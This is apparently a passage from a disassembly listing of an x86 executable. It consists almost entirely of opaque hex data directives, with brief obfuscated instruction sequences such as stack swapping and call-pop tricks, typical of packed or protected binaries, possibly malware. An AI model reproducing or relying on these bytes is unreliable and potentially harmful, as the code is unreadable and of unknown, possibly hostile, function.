9520C9F7h dd 70D10CF1h, 0F4E2EB73h, 34D9ACD1h, 835233E9h, 0BDD9ACD2h dd 0D8B16F76h, 7F1D0BDAh, 0F294A228h, 2A9017BDh, 850ED111h dd 0F0AC9C9h, 0F45E8FABh, 9E7Ah, 0D7AA8F00h, 411C06C7h dd 0D9E00E40h, 0FEB70DFEh, 121CF523h, 2F705DCBh, 0C9D38AA6h dd 9C6105C8h, 73DC4895h, 49DDCEh, 0D9ACB48Ah, 0C78B938Eh dd 8634B194h, 0F353F302h, 0A0BAA718h, 0D114DB29h, 7AC05FDFh dd 0B45697E7h, 0BDAD9A4h, 8148560Bh, 13F84FBFh, 6D63A1BAh dd 0EFh, 6501C8D7h, 0B1559898h, 0C99D68ACh, 6A43174h, 50EAF33Bh dd 63ABB4B5h, 357DC09Ah, 31EACh, 0C9C855F1h, 42DA6604h dd 61C3300Bh, 0AB06F0CDh, 0F49657A7h, 1A52869h, 0D28A131h dd 0DD38AC8h, 0A7310C16h, 2AB7975Ah, 102FE5E4h, 0E4E87C32h dd 1E54323Ah, 730F4BC0h, 0BA1C55A7h, 0FF02DF47h, 936468F2h dd 0B85FCFE5h, 8B40C042h, 58311516h, 0D9B39DD0h, 4E9B9A67h dd 9DC295FCh, 0DB46D9B3h, 0CB41DC7Bh, 9366AE33h, 3DC8CCA5h dd 899D2807h, 0B39DF5C0h, 24EE35D9h, 0C16568A9h, 0AAEA357Ch dd 0BF4AE15Fh, 1D0D2AFh, 3162631Dh, 0F00025F7h, 545D19A3h dd 0E320BD89h, 0D103012h, 0B643F904h, 8DDD86Fh, 56EDF43Fh dd 0A62C7BDAh, 203AC7CAh, 9BEBFFACh, 6CB6FA0Bh, 9D60A1BCh dd 0D31A7h, 0AA480000h, 0F05CCD7h, 15A03172h, 0A75E1309h dd 0CE9B9158h, 77023EC3h, 926FA52Ch, 3ECB4190h, 0A633E9F0h dd 0CE9B9158h, 6B0632C7h, 8960DC29h, 58CE7A87h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 2568241Ch, 8900000Ah dd 3568240Ch, 8900006Fh, 0EC832404h, 243C8904h, 6754B2BFh dd 0AF74B92Bh, 0F9312D4Fh, 24CE685Fh, 24890000h, 24048324h dd 9B685804h, 89000015h, 481240Ch, 465F4B24h, 8408F64h dd 4B086881h, 0FF64465Fh, 83582434h, 0C8B04C4h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_50F6C5 ; --------------------------------------------------------------------------- dw 0F1ABh dd 2E96C670h, 7851D166h, 0B32FD9EBh, 684B82Ch, 0C5030629h dd 7F21E0FFh, 679B6184h, 7B51497Fh, 8E023AB8h, 0B6495C90h dd 0EC982EB7h, 0FFFE100Bh, 93E06C42h, 9F46445Ch, 1C57641Bh dd 0A779175Ah, 0D2D67EC5h, 0EC17000Ch, 7F6154B6h, 0BC6F76h dd 0C02D5BA9h, 37973DFCh, 0B12F0B1Ah, 7611DDDh, 98241212h dd 0FEDB513Eh, 78924D67h, 4CE35740h, 16143597h, 0D1246D82h dd 92C2380h, 8D8D6062h, 629083Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 87C35646h, 5D958905h, 8906221Fh dd 2233F18Dh, 0F38B6606h, 356D9D8Bh, 85C70622h, 6222D31h dd 6338h, 59D9D8Bh, 85C70622h, 62230E5h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 19C35747h dd 9F31BA41h, 10890Fh, 0BE90000h, 78000000h, 0DC67D2A6h dd 28BD378Eh, 0B5FF3B66h, 6222A4Dh, 33E7EB80h, 2205AD9Dh dd 6595FF06h, 0F062220h, 0C82h, 6830F00h, 89000000h, 221EA58Dh dd 0E1858B06h, 6A062205h, 7595FF00h, 8B062230h, 0BE6BEBC0h dd 0A2BA8854h, 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 1916396Eh dd 0ED4C0499h, 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h dd 161D8B3Eh, 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh dd 31EE15CCh, 964EF26Bh, 9A03FE6h, 57994A95h, 45F78052h dd 93B99289h, 0C690C5CAh, 64958B36h, 3CDA0E67h, 0C46E3C8Dh dd 13B0F3ECh, 8D8D875Dh, 62909A6h, 81DAB70Fh, 0DE39ACD6h dd 0F18D893Bh, 66062233h, 85C7C18Bh, 6222D31h, 5D04h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 45C35646h, 1E485F9h dd 0E805B3B6h, 0Dh, 2634B0FEh, 8AFD36A0h, 0E5DCD468h, 899D898Eh dd 5E062225h, 30E585C7h, 622h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CFB18BC3h dd 2ADDB5FFh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 7F594DC3h, 0FFC28B92h, 22206595h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 6B26C1FAh, 0F38255E9h, 0AE9h, 74061400h dd 0C4740D47h, 8B547E02h, 22243D85h, 10E38106h, 6A307736h dd 7595FF00h, 8B062230h, 517AEBC0h, 8A60FB07h, 1CE9D09Dh dd 36BC3496h, 84952B71h, 1C4CE56Ah, 0EA1FE4ABh, 7D80185Dh dd 0F4976CD2h, 55721971h, 1915695Dh, 0D322DE1Eh, 0B1329A3Dh dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 0F8D8CB24h, 1DDDF60Ah dd 0A7246D88h, 0C9B3656h, 0EE39D653h, 0FAE9C68Dh, 0EB885BE1h dd 0F770C889h, 7C69335h, 3818A5D6h, 3DE78201h, 0F1DB99C6h dd 8ED1CD00h, 0FDFEDFD2h, 7D100B82h, 14E8A2h, 50190000h dd 0DA5F2C62h, 0D7087073h, 572D7C89h, 80DD4B86h, 0B5897E48h dd 6221AA5h, 0C181F859h, 64F5h, 1DD1BD89h, 1C680622h, 66000019h dd 5E40B8BBh, 253D8529h, 31FF0622h, 99B5895Ah, 8106221Dh dd 0B71C5DEAh, 0B1858B62h, 81062228h, 627E4EEAh, 0D18D0904h dd 81062225h, 0E6CCAFF2h, 7BBF6632h, 0B311892Dh, 1E983E1h dd 494949FCh, 57BE6660h, 0C1B70F1Ah, 1EE8161h, 0F000000h dd 0FFFFB585h, 2DBD33FFh, 0E806220Fh, 7, 58317D19h, 8B96F0BFh dd 22206185h, 0B5095A06h, 62214DDh, 5CA9C281h, 0B5090000h dd 6222825h, 0BFh, 9E800h, 0A7F60000h, 59A86408h, 6659090Ch dd 5B08D3B8h, 8B3A348Bh, 2EEE81D8h, 2968B326h, 221E2DB5h dd 0FBC68106h, 0E9487DF8h, 0Bh, 3E590AFDh, 729F2589h, 8114E2ABh dd 0B5F3B9F6h, 75BD2937h, 89062204h, 0DA8B3A34h, 0A281F181h dd 0EF810D51h, 4BA3C68Ch, 88C781FCh, 0E94BA3C6h, 0Ah, 807B6D69h dd 65EA7746h, 0FF81271Bh, 0FFFFA428h, 19850Fh, 0BF0F0000h dd 2FE9C3h, 244D0000h, 1ADA9407h, 0E32F099Ah, 34B76823h dd 0F50BD6Fh, 68Eh, 9DC38100h, 0E903A3DEh, 0FFFFFF70h dd 11ED6C30h, 0F1E185Bh, 0DD3A83DAh, 628D8DB9h, 6A06290Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 8C11C350h, 0F3816693h, 9D8959A6h, 62205C1h dd 33F18D89h, 8D090622h, 62234C9h, 2D3185C7h, 74440622h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0C7A495C3h, 2230E585h, 6, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 890FA3E2h, 73E3BF44h, 0B5FF344Dh, 6221AB5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 75C35747h, 9CFC0949h dd 0E380CD6Ah, 0D1BD2959h, 0FF06222Ch, 22206595h, 0CD958B06h dd 6A062221h, 7595FF00h, 8B062230h, 9F1BEBC0h, 0DDE61475h dd 24BD9B4Dh, 0DC18337h, 0FDBE24BEh, 5FF2C2h, 0EFDA336Bh dd 8D8D2D30h, 6290D17h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 2C35545h, 0CDB17908h, 0A413A9F8h, 33F18D89h dd 95010622h, 62219B9h, 2D3185C7h, 6CC80622h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E36B50C3h, 94E03C7Fh, 0B866653Dh, 85C7C9AAh, 62230E5h dd 0 dd 0CCE1EB81h, 958B1003h, 6221479h, 25EDB5FFh, 0FFF80622h dd 22206595h, 72E08006h, 95FF006Ah, 6223075h, 59EBC08Bh dd 15DBBD90h, 5CCCD363h, 9D59CBB3h, 0C5F186BDh, 5B692BB5h dd 25497930h, 0F1539D5Fh, 7C42E568h, 0E9F63EBCh, 0FD2A8D0Ah dd 0CA4B8516h, 84546A8Dh, 0D687F8CBh, 4FEBD625h, 6A274FF9h dd 9A207CA6h, 98AEC347h, 5A745B2Dh, 48FB14Bh, 159B656Ah dd 673768A3h, 0FD80986Bh, 128D8DE4h, 0E906290Eh, 0Fh, 54304086h dd 4E82FE2Ah, 79A5F166h, 898B23F4h, 2233F18Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B0C0E4BEh, 9D014E86h, 622202Dh, 2D3185C7h, 5C340622h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0DF8948C3h, 0E585C72Fh, 62230h, 89000000h dd 222CA18Dh, 0D9B5FF06h, 0B706220Eh, 6595FFF4h, 89062220h dd 2220398Dh, 6AE78A06h, 7595FF00h, 8B062230h, 6B1CEBC0h dd 4A59BEE8h, 0ED096835h, 6190B6CCh, 43F29EC7h, 7E27A3FAh dd 2E300A7h, 0E8054333h, 0Ch, 0FD7E3D0Fh, 64333D02h, 0E99F6235h dd 0BD09F560h, 6220319h, 9D8B5961h, 62234C1h, 6D3CC181h dd 85B20000h, 1B26B8h, 0FFD08A00h, 0D2816631h, 815F9822h dd 0F0FCA5EFh, 898D2950h, 81062211h, 0CA2A22C7h, 6FBE6606h dd 88C78190h, 297150D7h, 2213F595h, 83398906h, 950302E9h dd 6222C3Dh, 83F84949h, 850F01E8h, 1Ch, 5800Fh, 0F500000h dd 0E95BD7BFh, 2Ch, 90E63183h, 36197D71h, 0EB22C6F4h, 1BF18060h dd 0AED858Bh, 0E9610622h, 0FFFFFF93h, 489FBB0Bh, 0D6305267h dd 0B1E86448h, 4DD3F28Eh, 7E8h, 0D6E37400h, 839A1449h dd 3F9BD29h, 525E0622h, 815A28B1h, 5DFAC6h, 5800F00h, 66000000h dd 0E4B8C081h, 1C8BFF33h, 81E4B13Eh, 2963CBF3h, 59958B39h dd 81062218h, 6BA11BF3h, 98F68071h, 0B71DEB81h, 85011D97h dd 6222115h, 0F3E1C89h, 0BD89C8B7h, 6222C4Dh, 0F04EF83h dd 0FF81CEB7h, 0FFFFA298h, 1A850Fh, 95290000h, 62215E9h dd 22E9h, 241F9E00h, 0A48A4109h, 0CC6CE185h, 0E8207A87h dd 0FF9CE9F5h, 0FB50FFFFh, 0A671CB0Bh, 0B08A95C9h, 8D1A2960h dd 2910168Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 8D8913B1h, 62214E5h, 33F18D89h, 6A0622h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0F5EB04C3h, 0B66A1759h, 253DB533h, 85C70622h, 6222D31h dd 68BCh, 85FBE781h, 85C76718h, 62230E5h, 0 dd 0A18D8953h, 58062211h, 5C1B589h, 0B5FF0622h, 62201E5h dd 0FF83CB80h, 22206595h, 15958B06h, 6A062233h, 7595FF00h dd 8B062230h, 0B519EBC0h, 0F594F822h, 31FC8C4Ch, 8B33CAA9h dd 0FFB35070h, 0C146E21Dh, 0AF80DA7Ah, 11E8h, 0FB9A9C00h dd 7B281875h, 2198B23Dh, 4DF3856h, 850F66BAh, 0 dd 0C281FC5Ah, 5CDAh, 68h, 8D015300h, 6221899h, 6E8595Eh dd 0F4000000h, 7A93297Bh, 59D03A4h, 5B062229h, 0F51134FFh dd 0C3EB805Fh, 8F44C781h, 11E93764h, 0F1000000h, 6C33A553h dd 60E45EA6h, 0A0F657DDh, 0B464C426h, 4FCAF781h, 0C7812222h dd 27D097C0h, 1FD858Bh, 80570622h, 48F2FE3h, 28BE660Ah dd 4860FCFh, 66000000h, 833F11BBh, 0F98104E9h, 0FFFFA3C0h dd 0FFA6850Fh, 8166FFFFh, 0E8577EE3h, 7, 7E9124A7h, 0FA6C2E9h dd 68Bh, 199D8B00h, 5E062214h, 74EDC681h, 0BD8B0000h, 622287Dh dd 820FC92Bh, 0Eh, 9E9h, 67529C00h, 906DDC5Ch, 34FFA8FEh dd 58D18A31h, 11E8h, 3CB44D00h, 7A3DF3C7h, 0C79E822Eh dd 320C4C75h, 0BD034663h, 6220FBDh, 0C5F0815Ah, 0F24A006h dd 0C081DFBFh, 2D50D4BCh, 75BD0B57h, 5F062221h, 0BC51F081h dd 0F08A6C7Bh, 0EEF78050h, 600E048Fh, 25E88166h, 12E8C8h dd 91210000h, 0C497EF1h, 0D23C3199h, 0C6B08035h, 0F92816D6h dd 0F718D8Bh, 615F0622h, 6890Fh, 958B0000h, 6221F11h, 2904E983h dd 22116185h, 0FCF98106h, 0FFFFF8Bh, 1285h, 0E9616000h dd 21h, 715D6D23h, 17A04D00h, 89C1CBBBh, 222625B5h, 0FF54E906h dd 1448FFFFh, 1F1EE8CBh, 46C478A4h, 0A07582C3h, 14690889h dd 8DA6DC78h, 36074687h, 35A12E86h, 0D9259086h, 30254813h dd 23149905h, 3F2514A4h, 30258102h, 91980786h, 3023609Ah dd 305EA589h, 0B5E39086h, 36077B8Fh, 68E24CC8h, 34A420E4h dd 0D05B70A2h, 1907BF3h, 0BD236095h, 15589F03h, 0BBF56F80h dd 39A08E76h, 7E2306B5h, 3025166Eh, 72F24986h, 74AED42Eh dd 30AE46A2h, 3401650Fh, 91906FDEh, 0BD236A9Ah, 15589A03h dd 0BBF5ED80h, 3035B07Eh, 38CC8486h, 96254286h, 302BA489h dd 3B6C9086h, 0C0A0474Fh, 0D9DADB79h, 3025128Bh, 6094940Bh dd 359D82A4h, 0CF254286h, 0F998AC65h, 0BD23B997h, 1937C70Bh dd 15379C80h, 0FF0E94B6h, 0A0758247h, 14690889h, 8DA6DC78h dd 36074687h, 35A12E86h, 0D9259086h, 30254813h, 83149905h dd 0A4F305E9h, 22B9h, 0EE800h, 1C40000h, 0B8BDC796h, 9E64C65Eh dd 0D9EA0371h, 87EF8166h, 0B5295BFCh, 62205B1h, 6C96C381h dd 0B70F0000h, 1AF968F9h, 8D890000h, 6221DDDh, 0D18D8B5Eh dd 0FF06221Eh, 820F5833h, 6, 1F4D958Bh, 0E8810622h, 4ECCE164h dd 0F9DBD89h, 0C0810622h, 1D3FD134h, 2C09958Bh, 0F0810622h dd 43A3EFBAh, 3860Fh, 0BF0F0000h, 0B50389D3h, 7BEB81D4h dd 8B6572F7h, 2233958Dh, 77C38106h, 8B6572F7h, 2208D18Dh dd 1EE8306h, 13850Fh, 0B9660000h, 1DE9B17Ah, 96000000h dd 0B1013993h, 34269065h, 38A0F0Ch, 66000000h, 84E9D08Bh dd 34FFFFFFh, 8D638F66h, 0BE9h, 0F6313600h, 6Eh, 0 dd 4F9E9h, 0B08BF200h, 24236859h, 8CBBC4CDh, 0F24D3C65h dd 5BE8969Bh, 0FD363630h, 565BB291h, 0C3CC2724h, 3E638AB5h dd 539AF54Eh, 28429606h, 0E3B74113h, 3A057703h, 8DBAC4E9h dd 7C301562h, 473A3B2Ch, 8BB6EAC1h, 0D4214601h, 59E296A7h dd 1F2BC126h, 0F2473A3Bh, 2B4065BBh, 78B5E661h, 71E73413h dd 0D8A480F8h, 6D1B046Fh, 276BBD2h, 0B3C71439h, 4CD4794h dd 0F3840E4h, 76D1BBE4h, 3B449725h, 0EBEE473Ah, 3065DEAEh dd 2642AFF5h, 0F3DB6EE3h, 664B51h, 956E0000h, 751AFD30h dd 0ED7A2DD6h, 0CD48900Ch, 0EAD473Ah, 77FD91CFh, 5BE93A05h dd 473A3B0Dh, 0F71A5EA3h, 51F3DB7Ah, 15Fh, 525FC700h, 0A64112Ah dd 0F2AFF699h, 19628FD5h, 0C7B4F92Ah, 73062B78h, 0D24AAFC8h dd 473AC686h, 0C91C406Bh, 9E96D21Fh, 1D2A50EDh, 36AADC8h dd 0A893F936h, 0DDE4387Bh, 0A17D94AFh, 0EB380777h, 4596B5C6h dd 51D31522h, 0CAF71E2Dh, 75479C2h, 559ACB78h, 0A7F41926h dd 40396AD5h, 0DAE22CD6h, 590820F8h, 0BC250B1Fh, 0D668153Ch dd 54A151F3h, 59C41827h, 6Dh, 380777C1h, 0D08766DFh, 80A76277h dd 0D01340FFh, 9CECE491h, 0BF97D190h, 68174461h, 13DE8ADBh dd 1E2F5FD5h, 779ED16Ah, 0D607444Ah, 2B1464B1h, 5C65BBFAh dd 4FC1122Dh, 3E236682h, 9B51F33Ah, 45h, 38077783h, 87B2C6EBh dd 0DB1A4BF8h, 0D6D39E22h, 246720FDh, 2E4AA7F7h, 91AED1DEh dd 9CE0214Ch, 0ED3372A3h, 628DBAC4h, 470477A8h, 3B354616h dd 549D473Ah, 0DB80FD14h, 65551F3h, 40000000h, 0A7FD4633h dd 3B08770Fh, 36B7C5EAh, 732D11EDh, 0B3E023EEh, 9490E899h dd 4A3B5CEBh, 7F54DC6Ch, 98A7D76Dh, 0FFD83B59h, 0D4586406h dd 5A86B120h, 9BFC4330h, 18F1BE01h, 0F5C5F49h, 8EBDCDCAh dd 0D4651752h, 0C20A25A8h, 0F473CA70h, 24560B5h, 6DD6A6EBh dd 0C75E6C38h, 0D35E4118h, 52ED9F95h, 0BD86F63Bh, 0E394368h dd 5B9D9ADDh, 6188B3D9h, 0D0DFA0DDh, 0CCBCF94Bh, 65E02D73h dd 93000001h, 0B1266132h, 4C9028ECh, 64AB58B0h, 0A7D1DE03h dd 0AFC1E79Ch, 329696BBh, 8BE75CEEh, 0B7104918h, 25649832h dd 612E632Eh, 2883BEE2h, 7DC6B6FBh, 0E45F2D12h, 0F127AB7h dd 188C4D9Dh, 1F285041h, 1B488B22h, 1F1553DCh, 5EBBD26Dh dd 7B4C85E5h, 145D613Dh, 6C8FDC6Bh, 0EF69E430h, 0C7804BD0h dd 828780Eh, 0BB9AC67Ch, 66h, 47A85863h, 3A3B85D5h, 2456847h dd 6C0337E5h, 0C92E1173h, 3A3B0753h, 0C2CDEAC7h, 231E4285h dd 61895B88h, 64C73A3Bh, 1FA2B14h, 0BF9CEA16h, 315889B7h dd 4E8BC516h, 61E8042Ah, 81080507h, 80709AC6h, 0DC4C2039h dd 0B19173ADh, 0E4B89DFAh, 473AFAD4h, 87157239h, 473AFA73h dd 86C917A6h, 934Bh, 0AB58BB00h, 0C6690364h, 0EF49183Dh dd 3F6CD7A2h, 7AC5B3FCh, 5BD60A29h, 754E3750h, 0E9D855D0h dd 0A8C5E03Ch, 1A2955E4h, 0FD8FB0DBh, 0CE431142h, 32411849h dd 117BB93Fh, 6FDDF36h, 167BA0B9h, 18487286h, 4414A741h dd 41184834h, 4B8ED2D9h, 0E5622966h, 3BAEEDBFh, 0CAF4F03h dd 51EA92DFh, 0AF9AEF0Ch, 0FE2F6ED9h, 2E7FC8B1h, 44EA0E0Bh dd 90365ECh, 9DC37C0Ch, 0DE3B887Bh, 0E5B7AED1h, 4B71BCD5h dd 0E1327538h, 0A17B9EC2h, 456ACFEAh, 0EDA9C0EBh, 364AB58h dd 0C0BD86F6h, 65920DA6h, 0C8095767h, 213A7754h, 555849h dd 4C1CA1EBh, 0A16FA0D4h, 9C99FE31h, 0C30C50EFh, 4095AEDEh dd 29F34203h, 88BDCD5Fh, 5D504113h, 0FFB131A0h, 191C07A1h dd 87F118BAh, 9CF66FBCh, 0C9F27C86h, 87C4CB04h, 31B7A256h dd 86E20FFDh, 465DEAEh, 0C6C881F7h, 0D6154679h, 2370498Ah dd 951CB56h, 0EC2832E9h, 1E5D8EC1h, 6AD5A7C2h, 9C85F439h dd 8153F09Fh, 2832E979h, 5565379Ch, 0B82832E9h, 2273B2F5h dd 230167EAh, 0B287EE59h, 0F92A1965h, 315B66BAh, 0C7AC516h dd 0A8000000h, 610BE65Fh, 6B093FF3h, 77EEB035h, 0C3E83D06h dd 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh dd 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 4EC81h, 0C890000h dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 6F8368h, 24148900h dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 3D682404h dd 8900003Ah, 85B9240Ch, 89062913h, 0F16859CAh, 89000014h dd 4812424h, 424h, 52555800h, 3A242C81h, 5D504C07h, 73AC581h dd 6889504Ch, 34FF5D08h, 0C4835824h, 2434FF04h, 4C4835Ah dd 0F96A6AE9h, 84F0BDFFh, 0FCB8EE67h, 3062917h, 0FAE0FFC5h dd 0E57DF182h, 0DC11AA02h, 403BF14h, 61296849h, 0F346ABA4h dd 17647C4Fh, 94456125h, 0AA74A88Ah, 8D39DEDFh, 4A70D27Ah dd 0E158CA8Ah, 0CB4BB236h, 6725A9F7h, 3F0C3CDDh, 0FB2BA931h dd 7805296Dh, 0E569AA32h, 52390244h, 362AFC9Ah, 0BF4420D9h dd 0E10A6A4h, 0E9215E18h, 24h, 3DA2DFD7h, 8 dup(0) dd 533E9h, 28137A00h, 9CABD0C1h, 4434C75h, 6AD5A4EDh, 0D3701E03h dd 65AE4EB8h, 0DEC32A19h, 4B749FACh, 0A6EB023Dh, 0DB026DD6h dd 22DAEEBEh, 9B3F4113h, 0E8904D36h, 0FB3569BEh, 525F09A5h dd 0A7C21E2Dh, 0F4396AD5h, 6D52BD8Ah, 0BAF7241Fh, 31069D2h dd 8EBDC27Bh, 81DF1E4Fh, 7443764h, 0B13722D6h, 35305E5Bh dd 3A3B5367h, 0B4F7C647h, 3B4168h, 79D0B8E9h, 71991312h dd 0A4473A3Bh, 7297D609h, 3B4B9F0Dh, 0FAE473Ah, 3BE632EAh dd 0A00B473Ah, 5A2E137Ch, 0B7FBCE1h, 0BC25EF3Ch, 0B790F83Ch dd 1E29535Ch, 3BEC3FCDh, 0BB46473Ah, 0DB570A3Dh, 8D6251F3h dd 0A8000000h, 0E93A0577h, 3A3B0D5Bh, 79B6A347h, 0C6E53615h dd 36599F9Ah, 51F3DC3Bh, 6E96F152h, 751B637Ch, 0AE62Fh dd 30910000h, 4A9B8C7Fh, 22F22ECCh, 16470477h, 68D7A4F1h dd 0C784F63Bh, 6A115884h, 0B7FBCDDh, 32EAEF3Ch, 473A3BE6h dd 3361A00Bh, 0DBA0EDEAh, 0F82D1662h, 0A297ABDh, 65DEABD6h dd 0B58EFB30h, 4434B60h, 4EAA87D7h, 0C82D2CD8h, 3A3B0454h dd 9EC2E947h, 0EF75593h, 0E0D9A271h, 0D9E03C3Eh, 357A95B2h dd 3995FC47h, 48360777h, 488BAAFBh, 0A6A5D61Bh, 5B688041h dd 0AC023ACCh, 76185570h, 245784C9h, 49A4F627h, 0B3BCFB2Fh dd 0BE8FFF35h, 0B1D953CEh, 64473AB1h, 0A6C51649h, 0C62B0C67h dd 3AB10256h, 98C4F747h, 0C3102B51h, 562E1AEh, 6ABB8408h dd 0C873064Bh, 12DF7194h, 9B1176D6h, 473AB14Fh, 41D50BA2h dd 51F3501Ch, 55B9h, 7776100h, 3366DF38h, 3A3CCB74h, 284560BCh dd 0DD8BD867h, 2E50D414h, 0A10FF811h, 51EA9F07h, 3714E10Ch dd 80C311F6h, 3750EF9Fh, 69B794FAh, 0DF6A1F5Ch, 0D5E91AAh dd 0EF224603h, 51F3D982h, 3157h, 777FF00h, 0B2C6EB38h dd 270A4489h, 2C1B63C1h, 0E65F49C5h, 0D7CB8833h, 0E40D5302h dd 0A97BA897h, 473A3686h, 60A7C130h, 51F3CEEDh, 1C8h, 7A5F5600h dd 3A3B96A2h, 0EC307B47h, 588DBAC5h, 8DDE6913h, 869EDA87h dd 542D4AF9h, 0BB9EFCC2h, 84B89CCh, 0A19AE22Fh, 256A1973h dd 9E4728C4h, 85284918h, 0D6711B50h, 170A72BFh, 18D27585h dd 0F4159841h, 18D21038h, 77B60541h, 20FC2126h, 4118D218h dd 0D862BEFDh, 4118D2B2h, 0E341A78Ah, 5A47AE99h, 97C40932h dd 0E4095AE5h, 367BA897h, 0BBD50645h, 0B1F43ABEh, 517AF750h dd 0E8F91E1Ch, 356BD8A7h, 488ACCCh, 4F02D03Bh, 6A4BD15Ah dd 151h, 2474280Dh, 0C94118B6h, 5FE6BEE2h, 3B96A27Ah, 8A7B473Ah dd 557FF8C7h, 0F62A6DB9h, 47A0EFE4h, 0D8631562h, 9234688Bh dd 4918E8ADh, 5B6F3D92h, 0BE4118CFh, 7DC6B2FFh, 99CA0D28h dd 0FA1F2854h, 2273CCBDh, 8DB2DD03h, 0F21744FFh, 0A2103411h dd 78A437D6h, 0A3F04B31h, 62166384h, 3ABEBBD9h, 5EA992FAh dd 0D119C1BCh, 50144Bh, 58020000h, 940861A8h, 11736CA4h dd 23F12289h, 0C73A3B17h, 44C82029h, 0CB044337h, 165586C1h dd 89D080CAh, 6C8CBC70h, 7CB99173h, 29BD8E13h, 76DE7E0Dh dd 1D7DE637h, 0D6919398h, 82094679h, 0F5590C5h, 9D709B12h dd 99h, 73D0BFFCh, 0AB58912Dh, 0EB241F6Ah, 861A09Fh, 183DC394h dd 5C812C49h, 0E5AD237h, 0E3411835h, 1F6D94C8h, 0B8C4CD24h dd 5B2D6A8Fh, 6C69BCE0h, 0F6DC6C9Bh, 528EB564h, 18869988h dd 15626741h, 9FACD36Ah, 0A3EC0F5Ch, 0CC356BD8h, 3B0488ACh dd 0CC13C0D0h, 0ED49F1ABh, 812C4F03h, 41690368h, 0B44B71ECh dd 4582DBF9h, 0EC7C8C60h, 1A914B71h, 76D1BBC6h, 8D8AEF25h dd 111844FFh, 328172D7h, 84D347D5h, 0F7C6456Ah, 0B7EBB9Ch dd 36E6E330h, 554ECBE2h, 3F65A417h, 29525F67h, 0DF94C61Ah dd 75A57790h, 80492153h, 0E93A0573h, 109B96CAh, 28986C3h dd 0AAD21F45h, 43497691h, 69BA89F6h, 0ADA0B4Ah, 4B96639Ch dd 7FB5333Eh, 0D6DB320Dh, 23489DA6h, 0AD96E356h, 6E13396Ah dd 0D9622A0Ah, 4EFB818Eh, 0CC7B0F3Ah, 0D41D588Dh, 85D9CABh dd 0D31h, 0A17BA000h, 68EE199h, 53E3317Ch, 67773CBh, 0B9C3E83Dh dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh, 27529FCCh dd 0DDA2CF1Ch, 8BF03D6Eh, 51696FBCh, 0C181E189h, 4, 8704E983h dd 895C240Ch, 8953241Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 2434895Ch, 4D6268h, 242C8900h, 1F95BF57h, 0D4BE4FC1h dd 46165144h, 0B4A3C681h, 0FE01A016h, 2C8B545Fh, 4C48124h dd 56000000h, 24243481h, 8F6F6A32h, 0BB530845h, 24532751h dd 3E3C14Bh, 506CC381h, 0DBF70095h, 4730F381h, 5D31B3BBh dd 34FF5B08h, 0C4835D24h, 24348B04h, 81E38953h, 4C3h, 4C38300h dd 5C241C87h, 0F964AEE9h, 9CEDD9FFh, 0CC519D65h, 0F49A077Ah dd 291D9FB8h, 0FFC50306h, 6B092EE0h, 0C4C1C23Dh, 2C3A0524h dd 0A6260E49h, 0AD2B886Ah, 6B75A45Ah, 3EA60307h, 214D2F3Dh dd 0BF5B3D6Fh, 0FB0EDE40h, 52948765h, 9AC2AC4Ch, 31E05D54h dd 944A7A1Ch, 66294E3Eh, 6BED8E76h, 0F252712Ah, 3A7F9313h dd 30504200h, 2F55EA68h, 77B50258h, 0FDCB3463h, 479DC871h dd 7524B547h, 7A88B033h, 28ACE570h, 86D21A3Dh, 878D8D69h dd 0B406291Fh, 0F18D8950h, 0F062233h, 1984h, 10E800h, 0FE3B0000h dd 0C4F4FC21h, 0BBB34C82h, 671577A7h, 8B665819h, 85C758FBh dd 6222D31h, 6C98h, 30E585C7h, 622h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 6ED237C3h dd 71285E82h, 0FA501E5h, 0B5FFDEB7h, 6221311h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6C35545h, 66B2AB22h dd 95F45BADh, 11919D8Bh, 95FF0622h, 6222065h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 34C35343h, 0A33BEE3Fh dd 80698E36h, 850994F7h, 6221C45h, 95FF006Ah, 6223075h dd 4BEBC08Bh, 4750FBFh, 7FA7B398h, 0BDE01BD0h, 0FB1E6CEBh dd 581A90C9h, 0F281665Eh, 6BD1809Ch, 6EE34C52h, 5ADD3561h dd 37422E3Ah, 466EAEE1h, 3AD65245h, 957C9132h, 42E87F2Fh 